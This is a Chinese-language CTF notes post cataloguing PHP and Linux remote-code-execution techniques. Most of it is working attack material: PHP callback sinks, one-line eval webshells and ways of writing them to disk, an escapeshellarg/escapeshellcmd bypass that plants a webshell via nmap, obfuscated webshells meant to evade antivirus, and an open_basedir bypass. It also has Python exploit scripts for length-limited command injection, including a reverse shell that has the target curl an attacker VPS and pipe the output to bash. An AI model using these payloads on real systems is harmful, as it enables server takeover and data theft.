有关一些php和linux命令执行的知识
RCE
PHP命令执行
eval
1 eval (assert ("eval(\$_POST[1]);" ));
assert
同eval
php 7.2 前,assert是一个函数,可以使用可变函数调用
可变函数:如果一个变量名后面有圆括号,PHP将寻找与变量的值同名的函数,并且尝试执行它
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 <?php function foo ( ) { echo "In foo() <br/>\n" ; } function bar ($arg ='' ) { echo "In bar(), argument was '$arg '" ; } function echoit ($string ) { echo $string ; } $func = 'foo' ;$func ();$func = 'bar' ;$bar ('test' );$func = 'echoit' ;$func ('string' );?>
php 7.2 后,assert与eval一样,不是函数而是语言构造器
create_function
具体可以看看php特性篇,讲述了create_function的注入
但是挺可惜的,create_function在php7之后就被移除了
1 2 3 4 5 6 7 <?php $func = create_function ('' ,$_POST ['a' ]); $func ();
WordPress <= 4.6.1 的rce漏洞就是利用了create_function触发
如果没有的话我们也可以这么写:
1 2 $a = ['create_function' ,'' ,'2;}system(dir);/*' ];call_user_func (...$a );
如果是命令注入,无需调用,直接写:
1 create_function ('' ,'echo 123;}system(' ls');//' );
call_user_func/call_user_func_array
call_user_func('a','b');
相当于a(b);
1 2 call_user_func ('assert' , '$_POST[1]' );call_user_func ('phpinfo' , -1 );
call_user_func_array
,需要后面一个变成数组:
例如
1 2 call_user_func_array ($_GET [1 ], $_GET [2 ]);
array_walk
array_walk(a, b)
其中a是数组,相当于调用b(a)
:
array_walk使用用户自定义函数对数组中的每个元素做回调处理
1 2 3 array_walk ($_GET [1 ], $GET [2 ]);
array_map
array_map(a, b)
其中b是数组,相当于调用a(b)
:
array_map为数组的每个元素应用回调函数
1 2 3 4 5 6 7 array_map ($_GET [1 ], $_GET [2 ]);
array_filter
array_filter(array $array[, callable $callback [, int $flag =0]])
array_filter()会用回调函数过滤数组中的单元,依次将array数组中的每个值传递到callback函数,如果该函数返回了true,则array的数组当前值会被包含在返回的结果数组中,数组的键名保留不变:
1 2 3 array_filter (array ($_GET ['cmd' ],$_GET ['func' ]));
例如执行结果:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <?php var_dump (array_map ('system' ,array ('ls' )));?>
相当于调用b(a)
array_reduce
用回调函数将数组化为单一的值,第一个参数是数组,第二个是回调函数:
1 array_reduce ([1 ], 'system' , 'whoami' );
例如:
1 2 3 4 5 6 7 array_reduce ([1 ], 'system' , 'ls' );
array_diff_ukey/array_diff_uassoc
1 array_diff_ukey (['whoami' =>'' ],['' =>'' ],'system' );
array_intersect_ukey/array_intersect_uassoc
同上
usort
usort()
函数将用户自定义的比较函数对一个数组中的值进行排序:
1 2 3 4 5 6 7 8 9 <?php usort ($_GET , 'system' ); usort (...$_GET ); ?>
ob_start()
1 2 3 4 5 6 7 <?php $cmd = 'system' ; ob_start ($cmd ); echo "$_GET [1]" ; ob_end_flush (); ?>
preg_replace /e模式
这个在之前的每日一题出现过:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <?php function complex ($re , $str ) { return preg_replace ( '/(' . $re . ')/ei' , 'strtolower("\\1")' , $str ); } foreach ($_GET as $re => $str ) { echo complex ($re , $str ). "\n" ; } function getFlag ( ) { @eval ($_GET ['cmd' ]); }
/e
在php7已经不支持,php5.5已经弃用
可以执行第二个参数的内容,换句话说这里可以执行strtolower("\\1");
payload:
一般来说是利用.*
的,但是php的get此请求一般传不了.
所以我们改用\S*
来代替
换句话讲其实是:
1 2 3 4 5 6 7 8 9 10 ``` ### $ `${}`能直接调用函数内容:
${phpinfo()}
1 2 3 4 5 ### header_register_callback ```php header_register_callback('phpinfo');
无参数的callback
PHP函数
passthru、system
两个函数等效:
exec/shell_exec
执行但不会回显,需要echo
pcntl_exec
1 2 3 <?php pcntl_exec ("/bin/bash" , array ("whoami" )); ?>
popen
1 2 3 4 5 6 7 8 9 10 <?php $test = "whoami" ; $fp = popen ($test , "r" ); while (!feof ($fp )){ $out = fgets ($fp , 4096 ); echo $out ; } pclose ($fp ); ?>
popen打开一个指向进程的管道,该进程由派生给定的command命令执行
proc_open
proc_open
的例子:
1 2 3 4 5 6 7 8 9 10 <?php $test = "whoami" ; $array = array ( array ("pipe" , "r" ) array ("pipe" , "w" ) array ("pipe" , "w" ) ); $fp = proc_open ($test , $array , $pipes ); echo stream_get_contents ($pipes [1 ]); ?>
其实就是执行一个命令,并且打开管道输入、输出内容
另一个来自php官方手册的例子:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 <?php $descriptorspec = array ( 0 => array ("pipe" , "r" ), 1 => array ("pipe" , "w" ), 2 => array ("file" , "/tmp/error-output.txt" , "a" ) ); $cwd = '/tmp' ;$env = array ('some_option' => 'aeiou' );$process = proc_open ('php' , $descriptorspec , $pipes , $cwd , $env );if (is_resource ($process )) { fwrite ($pipes [0 ], '<?php print_r($_ENV); ?>' ); fclose ($pipes [0 ]); echo stream_get_contents ($pipes [1 ]); fclose ($pipes [1 ]); $return_value = proc_close ($process ); echo "command returned $return_value \n" ; } ?>
jacko神的题目:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 show_source (__FILE__ );$c1 = $_GET ['c1' ];$c2 = $_GET ['c2' ];if (preg_match ('/\s|\$|{/' ,$c1 .$c2 )){ echo 'Not allowed' ; exit ; } $descriptorspec = array ( 0 => array ("pipe" , "r" ), 1 => array ("pipe" , "w" ), 2 => array ("file" , "/tmp/error" , "a" ) ); $process = proc_open ($c1 , $descriptorspec , $pipes );fwrite ($pipes [0 ],$c2 );fclose ($pipes [0 ]);echo stream_get_contents ($pipes [1 ]);fclose ($pipes [1 ]);proc_close ($process );
payload:
1 ?c1=php&c2=<?=`cat\x20/f*`;?>
``
相当于shell_exec
:
1 2 <?= ``;?> 相当于echo shell_exec ();
escapeshellarg + escapeshellcmd
这里在我的飞书上出现过:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 <?php if (isset ($_SERVER ['HTTP_X_FORWARDED_FOR' ])) { $_SERVER ['REMOTE_ADDR' ] = $_SERVER ['HTTP_X_FORWARDED_FOR' ]; } if (!isset ($_GET ['host' ])) { highlight_file (__FILE__ ); } else { $host = $_GET ['host' ]; $host = escapeshellarg ($host ); $host = escapeshellcmd ($host ); $sandbox = md5 ("glzjin" . $_SERVER ['REMOTE_ADDR' ]); echo 'you are in sandbox ' .$sandbox ; @mkdir ($sandbox ); chdir ($sandbox ); echo system ("nmap -T5 -sT -Pn --host-timeout 2 -F " .$host ); }
这里利用nmap 内容 -oG filename
可以将内容写入到文件名内
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 escapeshellarg(); 其功能是给字符串增加一对单引号,并且能够引用或者转码任何已存在的单引号 例子: echo escapeshellarg(1); 会输出 '1' echo escapeshellarg("1"); 会输出'1' echo escapeshellarg("'1'"); 会输出 ''\''1'\'' echo escapeshellarg('"1"'); 会输出'"1"' echo escapeshellarg(" ''a'' "); 会输出 ' '\'''\''a'\'''\'' ' 分析一下其流程大概是这样的: 1. 如果是没有单引号的会给它添加一对单引号 2. 如果只有双引号括住的,此时会将双引号转化为单引号 3.里面有单引号的,在每一个单引号前都加上'\' 例如上面的a有两个引号,此时每个引号前都被加上了'\': 分割一下是这样的: ' '\''(第一个引号)'\''(第二个引号)a'\''(第三个引号)'\''(第四个引号) '
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 escapeshellcmd() escapeshellcmd会对字符串中可能存在欺骗shell从而执行任意命令的符号进行转义,同时这个函数保证在用户的数据输入到exec或者system中时进行转义 反斜线会在下面的符号进行插入 &#;`|\?~<>^()[]{}$*, \x0A 和 \xFF*。 *' 和 " 仅在不配对儿的时候被转义。 在 Windows 平台上,所有这些字符以及 % 和 ! 字符都会被空格代替。 转换原理为: 1. 对于&#;`|\?~<>^()[]{}$*, \x0A 和 \xFF*前会直接加\ 2. 对于' ",仅在不配对时加\ 例如 $a="'"; echo escapeshellcmd($a); 输出结果为\' 如果是'',则输出结果为'',双引号同理 例如 <?php $a = "& # ; ` | \ ? ~ < > ^ ( ) [ ] { } $ * \x0A end"; echo escapeshellcmd($a); ?> 输出 \& \# \; \` \| \\ \? \~ \< \> \^ \( \) \[ \] \{ \} \$ \* \ end
这两个函数是不能调换使用顺序的
即不能够在escapeshellarg()
后使用escapeshellcmd()
否则可能会造成一些单引号的闭合:
例如我有一个木马:
1 <?php @eval($_POST["a"]);?>
我要写入一下
经过escapeshellarg后:
1 '<?php @eval($_POST["a"]);?>'
经过escapeshellarg后再经过escapeshellcmd:
1 '\<\?php @eval\(\$_POST\[\"a\"\]\)\;\?\>'
符合我们的预期
但是,如果我们的木马改成了:
1 '<?php @eval($_POST["a"]);?>'
此时经过escapeshellarg就会变成:
1 ''\''<?php @eval($_POST["a"]);?>'\'''
再经过escapeshellcmd:
1 '' \\'' \<\?php @eval \(\$_POST \[\'a\'\]\)\;\?\>' \\'' '
处理一下就相当于变成了:
1 \<?php @eval ($_POST ["a" ]);?> \\
此时就相当于成功执行了一个shell
但是如果我们要写入的话:
1 <?php @eval($_POST["a"]);?> -oG 1.php
payload的话还需要加入前后的空格:
1 ' <?php @eval($_POST["a"]);?> -oG 1.php '
如果不加的话:
1 ''\\''\<\?php @eval\(\$_POST\["a"\]\)\;\?\> -oG 1.php'\\'''
会变成:
1 \<?php @eval ($_POST ["a" ]);?> -oG 1 .php\\
导致后面写入错误
所以要加个空格
payload:
1 ' <?php @eval($_POST["a"]);?> -oG 1.php '
file_put_contents写马
1 2 3 file_put_contents ("shell.php" , "<?php @eval(\x24_POST[1]);?>" );或者 file_put_contents ("shell.php" , "<?php @eval(\$_POST[1]);?>" );
include 读文件
利用ctfshow命令执行的姿势:
1 ?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=1.php
PHP 无参数rce
如果过滤了,可以利用:
1 scandir (pos (localeconv ()));
读当前目录:
1 var_dump (scandir (pos (localeconv ())));
随机编码爆破:
1 var_dump (scandir (chr (strrev (uniqid ()))));
当然还有rand
请求头传递参数
getallheaders();
获取到所有的http报头
利用:
1 2 var_dump (end (getallhandlers ()));
还可以
1 var_dump (apache_request_headers ());
还可以:
array_reverse(),反转数组
next,取数组的下一位
get_defined_vars()
类似无中生有:
1 eval(end(next(get_defined_vars())));&b=
call_user_func
:
1 cmd=call_user_func('create_function','','}eval(phpinfo());/*')%3b
利用反序列化写马:
1 2 3 call_user_func(...unserialize(next(getallheaders()))); ); 在请求头内写自己的序列化结果
session_id:
phpsession_id只允许数字和字母,利用hex2bin转换:
1 2 3 4 5 6 7 8 import requestsurl = 'http://localhost/?code=eval(hex2bin(session_id(session_start())));' payload = "echo 'payload OK!';" .encode('hex' ) cookies = { 'PHPSESSID' :payload } r = requests.get(url=url,cookies=cookies) print r.content
PHP 无数字字母RCE
详见我的看看无数字字母RCE
简单看看无数字字母RCE | Err0r233
免杀(?)
1 2 3 4 5 6 7 8 9 10 <?php $a = 'ass' ; $b = 'er' ; $c = 't' ; $d = $a .$b .$c ; $e = '_P' ; $f = 'OST' ; $g = $e .$f ; $d ($$g [1 ]);?>
利用strtr()
将子字符串替换为给定的字符串
例如将Hello World
替换为Hi Earth
:
1 2 $arr = array ("Hello" => "Hi" , "world" => "Earth" );echo strtr ("Hello world" ,$arr );
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <?php $str1 = 'aH(UUH(fsdfH(UUH(fsdf,fdgdefjg0J)r&%F%*^G*t' ; $str2 = strtr ($str1 ,array ('aH(UUH(fsdfH(UUH(fsdf,' =>'as' ,'fdgdefjg0J)' =>'se' ,'r&%F%*^G*t' =>'rt' )); $str3 = strtr ($str2 ,array ('s,' =>'s' ,'fdgdefjg0J)r&%F%*^G*' =>'er' )); if (md5 (@$_GET ['a' ]) =='xxxx' ){ $str4 = strrev ($_POST ['a' ]); $str5 = strrev ($str4 ); $str3 ($str5 ); }
绕open_basedir
读目录:
1 <?php $a =new %20 DirectoryIterator ("glob:///*" );foreach ($a %20 as %20 $f ){echo ($f ->__toString ().%27 %20 %27 );}%20 exit (0 );?>
当然,直接绕:
1 mkdir('a');chdir('a');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');
绕过
拼接:
system(‘cat /flag’) 相当于 system(‘cat /f’.‘lag’);
单双引号拼接
chr函数拼接
eval的独特拼接:(sy.(st).em)
十六进制:
1 2 3 <?=`\x6c\x73`; echo $(ls);
过滤括号,利用include
等不需要括号的函数:
过滤了分号:
如果是eval函数的话,可以直接将;
换成?>
相当于短标签(?)
include、assert、system都可以利用
有限制长度的rce
前置知识
在linux中,利用sh
可以直接把文件当成sh脚本执行
利用php
可以直接将文件作为php执行
CTF中字符长度限制下的命令执行 rce(7字符5字符4字符)汇总
利用的思路是通过写文件,然后利用ls -t
将其全部写入一个文件中,最后执行sh
:
7字符的rce
1 2 3 4 5 6 7 8 9 10 11 <?php highlight_file (__FILE__ );if (strlen ($_GET [1 ]<7 )){ echo strlen ($_GET [1 ]); echo '<hr/>' ; echo shell_exec ($_GET [1 ]); }else { exit ('too long' ); } ?>
利用的思路其实是:
1 2 3 4 5 6 7 8 9 <?php eval($_GET[1]); //或者是post base64编码: PD9waHAgZXZhbCgkX0dFVFsxXSk7 只需要执行: echo PD9waHAgZXZhbCgkX0dFVFsxXSk7|base64 -d>1.php 就能将shell写进1.php了
此时通过拆分,并且利用linux的\
可以接上换行的特性,可以将命令分解成:
1 2 3 4 >ech\ >o\ \ //这里空格要加反斜杠 >PD9\ ...
由于php的原因,需要双写反斜杠
ls -t
是按时间倒序写入(越晚的写入越前面),所以我们需要将其反过来这样写:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 //payload.txt >hp >1.p\\ >d\>\\ >\ -\\ >e64\\ >bas\\ >7\|\\ >XSk\\ >Fsx\\ >dFV\\ >kX0\\ >bCg\\ >XZh\\ >AgZ\\ >waH\\ >PD9\\ >o\ \\ >ech\\ ls -t>0sh 0
脚本执行:
1 2 3 4 5 6 7 8 9 10 11 12 13 import requestsurl = "xxxx/?1={0}" print ("[+]start attack..." )with open ("payload.txt" , "r" ) as f: for i in f: print ("[*]" + url.format (i.strip())) requests.get(url.format (i.strip())) test = requests.get("xxx/1.php" ) if test.status_code == 200 : print ("[*]Attack success!" )
5字符的rce
BabyFirst Revenge
1 2 3 4 5 6 7 8 9 10 11 <?php $sandbox = '/www/sandbox/' . md5 ("orange" . $_SERVER ['REMOTE_ADDR' ]); @mkdir ($sandbox ); @chdir ($sandbox ); if (isset ($_GET ['cmd' ]) && strlen ($_GET ['cmd' ]) <= 5 ) { @exec ($_GET ['cmd' ]); } else if (isset ($_GET ['reset' ])) { @exec ('/bin/rm -rf ' . $sandbox ); } highlight_file (__FILE__ ); ?>
同样的思路,但是我们的ls -t>a
长度大于了5,我们此时需要将ls -t>a
也写入文件内(我们再写一个sh脚本即可)
5字符反弹shell
利用:
我们将反弹shell的语句放到vps上,然后让靶机curl我们的vps,利用curl ip|bash
的方式执行:
1 2 vps上: bash -i >& /dev/tcp/ip/port 0>&1
然后vps监听port
ls -t>_
的写入:
1 2 3 4 5 6 7 8 >dir >f\> >ht- >sl *>v //将第一个指令,也就是我们的dir 执行后的结果写入v,此时v的内容应该是 f> ht- sl >rev *v>a //调用rev,将v内的内容反转再写入a sh a //最后利用sh a执行ls -th >f
1 2 3 4 5 6 7 8 >dir >f\> >ht- >sl *>v >rev *v>a sh a
注:这里利用dir是因为dir能够自动补齐空格,方便我们的运算
反弹shell主体:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 >bash >\|\\ >23\\ >4.\\ >9\\ >2.\\ >5\\ >6.\\ >10\\ >\ \\ >rl\\ >cu\\ //最后sh a sh f
脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 import requestsurl1 = "xxx/?cmd=" reset = "xxx/?reset=1" s = requests.session() s.get(reset) list1=[ ">dir" , ">f\>" , ">ht-" , ">sl" , "*>v" , ">rev" , "*v>a" ] list2=[ ">bash" , ">\|\\" , ">23\\" , ">4.\\" , ">9\\" , ">2.\\" , ">5\\" , ">6.\\" , ">10\\" , ">\ \\" , ">rl\\" , ">cu\\" ] for i in list1: url2 = url1+str (i) s.get(url2) for j in list2: url2 = url1+str (j) s.get(url2) s.get(url1+"sh a" ) s.get(url1+"sh f" )
直接rce
当然直接rce也是可以的,后面需要做更加多的拆分:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 >dir >f\> >ht- >sl *>v >rev *v>a >hp >p\\ >1.\\ >\>\\ >64\\ >se\\ >ba\\ >\|\\ >7\\ >Sk\\ >X\\ >x\\ >Fs\\ >FV\\ >d\\ >X0\\ >k\\ >g\\ >bC\\ >h\\ >XZ\\ >gZ\\ >A\\ >aH\\ >w\\ >D9\\ >P\\ >S}\\ >IF\\ >{\\ >\$\\ >o\\ >ch\\ >e\\ sh a sh f
脚本实现:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 import requestsurl = 'xxxx/?cmd=' rawurl = 'xxxx' attacklist=[ ">dir" , ">f\>" , ">ht-" , ">sl" , "*>v" , ">rev" , "*v>a" , ">hp" , ">p\\" , ">1.\\" , ">\>\\" , ">64\\" , ">se\\" , ">ba\\" , ">\|\\" , ">7\\" , ">Sk\\" , ">X\\" , ">x\\" , ">Fs\\" , ">FV\\" , ">d\\" , ">X0\\" , ">k\\" , ">g\\" , ">bC\\" , ">h\\" , ">XZ\\" , ">gZ\\" , ">A\\" , ">aH\\" , ">w\\" , ">D9\\" , ">P\\" , ">S}\\" , ">IF\\" , ">{\\" , ">\$\\" , ">o\\" , ">ch\\" , ">e\\" , "sh a" , "sh f" ] for i in attacklist: print ("[*]creating " + str (i)) payload = url+str (i) requests.get(payload) print ("[*]testing..." )test = requests.get(rawurl+"/1.php" ) if test.status_code == 200 : print ("[*]attack success!" ) else : print ("[!]some error occurred..." )
4字符rce
1 2 3 4 5 6 7 8 9 10 11 12 <?php error_reporting (E_ALL); $sandbox = '/var/www/html/sandbox/' .md5 ("orange" .$_SERVER ['REMOTE_ADDR' ]); mkdir ($sandbox ); chdir ($sandbox ); if (isset ($_GET ['cmd' ]) && strlen ($_GET ['cmd' ]) <= 4 ) { exec ($_GET ['cmd' ]); } else if (isset ($_GET ['reset' ])) { exec ('/bin/rm -rf ' . $sandbox ); } highlight_file (__FILE__ );
在上面5字符的时候大概已经知道了*的作用:
在linux中,输入*会把第一个列出的文件名当作命令,然后把剩下的文件名当作参数
这就是为什么输入*v>a
的时候就会自动将v的内容倒序再写入
因为ls
的时候 rev在v的前面
而*v
会自动匹配rev 和 v
这就是4字符的rce的关键
直接贴exp了:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 import requests as rfrom time import sleepimport randomimport hashlibtarget = 'http://52.197.41.31/' shell_ip = 'xx.xx.xx.xx' your_ip = r.get( 'http://ipv4.icanhazip.com/' ).text.strip() ip = '0x' + '' .join([ str ( hex ( int (i))[ 2 :].zfill( 2 )) for i in shell_ip.split( '.' )]) reset = target + '?reset' cmd = target + '?cmd=' sandbox = target + 'sandbox/' + \ hashlib.md5( 'orange' + your_ip).hexdigest() + '/' pos0 = random.choice( 'efgh' ) pos1 = random.choice( 'hkpq' ) pos2 = 'g' payload = [ '>dir' , '>%s\>' % pos0, '>%st-' % pos1, '>sl' , '*>v' , '>rev' , '*v>%s' % pos2, '>p' , '>ph\\' , '>\|\\' , '>%s\\' % ip[ 8 : 10 ], '>%s\\' % ip[ 6 : 8 ], '>%s\\' % ip[ 4 : 6 ], '>%s\\' % ip[ 2 : 4 ], '>%s\\' % ip[ 0 : 2 ], '>\ \\' , '>rl\\' , '>cu\\' , 'sh ' + pos2, 'sh ' + pos0, ] s = r.get(reset) for i in payload: assert len (i) < = 4 s = r.get(cmd + i) print '[%d]' % s.status_code, s.url sleep( 0.1 ) s = r.get(sandbox + 'fun.php?cmd=uname -a' ) print '[%d]' % s.status_code, s.urlprint s.text
SP: 数组绕过
来自鹏城杯2023X1r0z师傅的解法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 <?php highlight_file (__FILE__ );if (isset ($_GET ['username' ])){ $sandbox = '/var/www/html/sandbox' .md5 ("5050f6511ffb64e1914be4ca8b9d585c" .$_GET ['username' ].'/' ); mkdir ($sandbox ); chdir ($sandbox ); if (isset ($_GET ['title' ])&&isset ($_GET ['data' ])){ $data = $_GET ['data' ]; $title = $_GET ['title' ]; if (strlen ($data )>5 || strlen ($title )>3 ){ die ("no!no!no!" ); } file_put_contents ($sandbox .$title , $data ); if (strlen (file_get_contents ($title ))<=10 ){ system ('php ' .$sandbox .$title ); } else { system ('rm ' .$sandbox .$title ); die ("no!no!no!" ); } } else if (isset ($_GET ['reset' ])){ system ('/bin/rm -rf ' . $sandbox ); } }
这里将文件名限制在了3个字符以内,内容限制在了5个字符以内,更加的困难
这道题的正常解法大概是这样的:
还记得之前的几个特性吗?
sh文件能够将正常的文件当sh命令来执行
*能够匹配ls的结果,并且将ls的第一个文件作为指令,其余的文件名作为参数
所以这题的解法就是:
1 2 3 1. title=sh&data=1 2. title=t&data=nl /* 3. title=w;*&data
这样子的话第一步会生成一个sh
的文件名,我们只需要其文件名
第二步会生成一个t
的文件名(确保其ls之后在sh
之后),我们只需要其内容
第三步用w
闭合前面的php,分号分割后利用*
直接能够执行sh t
此时相当于执行nl /*
,自然能读到flag
另外一种解法就是利用数组绕过长度限制,直接执行命令:
1 title[]=123&data[]=<?=`nl /f*`;
利用到php 123
也会把123当作php脚本执行
反序列化内过滤[Oa]:[\d]+问题
例如:
1 2 3 4 5 6 <?php if (!preg_match ('/^[Oa]:[\d]+/i' , $_GET ['a' ])){ unserialize ($a ); } ?>
利用方式:
如果能用+
的话直接用加号隔断
换别的方法:
1 2 3 4 5 6 ArrayObject :$a = new ArrayObject ;$a -> a = 反序列化起点;echo unserialize ($a );
1 2 3 4 5 6 7 SplStack :$a = new SplStack ();$a ->push (反序列化起点);echo serialize ($a );
RCE后有脏数据
__HALT_COMPILER();
能帮到你:
__HALT_COMPILER();
能够让编译器停止编译,当编译器执行到这就不用再执行__HALT_COMPILER();
后面的部分了。通过提前停止编译达到了不解析脏数据,eval能够正常执行的,看demo:
1 2 3 4 5 6 <?php $cmd = $_GET ['cmd' ]; if ("aaa" === preg_replace ("/;+/" , "aaa" , preg_replace ("/[a-zA-z_\(\)]+/" , "" , $cmd ))){ eval ($cmd .'Err0r23333333' ); } ?>
利用方式:
它只是把$cmd
的字母、下划线、括号置空,再用分号置换为aaa和aaa比较
相当于无参数RCE,问题在eval后的脏数据,我们利用__HALT_COMPILER();
提前停止编译,就能除去Err0r23333333:
1 ?cmd=phpinfo();__HALT_COMPILER();
四处收集的题目
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 <?php error_reporting (0 );if (isset ($_GET ['print' ])) { if (!empty ($_GET ['print' ])){ $printValue = strtolower ($_GET ['print' ]); $blocked = array ("cat" , "more" ,"readfile" , "fopen" , "file_get_contents" , "file" , "SplFileObject" ); $special_block = "nc" ; $$special_block = "../flag.txt" ; foreach ($blocked as $value ) { if (strpos ($printValue , $value ) || preg_match ('/\bsystem|\bexec|\bbin2hex|\bassert|\bpassthru|\bshell_exec|\bescapeshellcmd| \bescapeshellarg|\bpcntl_exec|\busort|\bpopen|\bflag\.txt|\bspecial_block|\brequire|\bscandir|\binclude|\bhex2bin|\$[a-zA-Z]|[#!%^&*_+=\-,\.:`|<>?~\\\\]/i' , $printValue )) { $printValue ="" ; echo "<script>alert('Bad character/word ditected!');</script>" ; break ; } } eval ($printValue . ";" ); } } ?>
payload:
1 echo '';print(eval('return ${blocked}[4](${nc});'))
自己看吧,很好理解,相当于直接调用$blocked数组的file_get_contents
感觉不如直接无参数rce,看看后面有没有过滤getallheaders咯
甚至还可以sys${114514}tem('head%09/flag');
不知道是不是上面那个形式,总之就是可以直接卡bug